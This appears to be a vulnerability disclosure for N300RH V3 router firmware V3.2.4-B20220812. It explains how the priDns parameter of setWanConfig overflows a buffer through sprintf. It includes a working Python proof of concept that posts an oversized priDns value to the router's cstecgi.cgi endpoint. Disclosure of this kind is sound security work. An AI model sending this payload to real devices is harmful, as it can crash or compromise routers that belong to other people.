Overview

Affected version

N300RH V3_Firmware V3.2.4-B20220812

Vulnerability details

In the N300RH V3_Firmware V3.2.4-B20220812 firmware has a buffer overflow vulnerability in the setWanConfig function. The v46 variable receives the priDns parameter from a POST request. However, since the user can control the input of priDns, the statement sprintf can cause a buffer overflow vulnerability.

image-20260418003241467

image-20260418003257784

POC

import requests
url = "<http://127.0.0.1/cgi-bin/cstecgi.cgi>"
cookie = {"Cookie":"SESSION_ID=2:1721039211:2"}
data = {"dnsMode":"1","priDns":"a"*0x1000,"topicurl":"setWanConfig"}
response = requests.post(url, cookies=cookie, json=data)
print(response.text)
print(response)

image-20260418002703177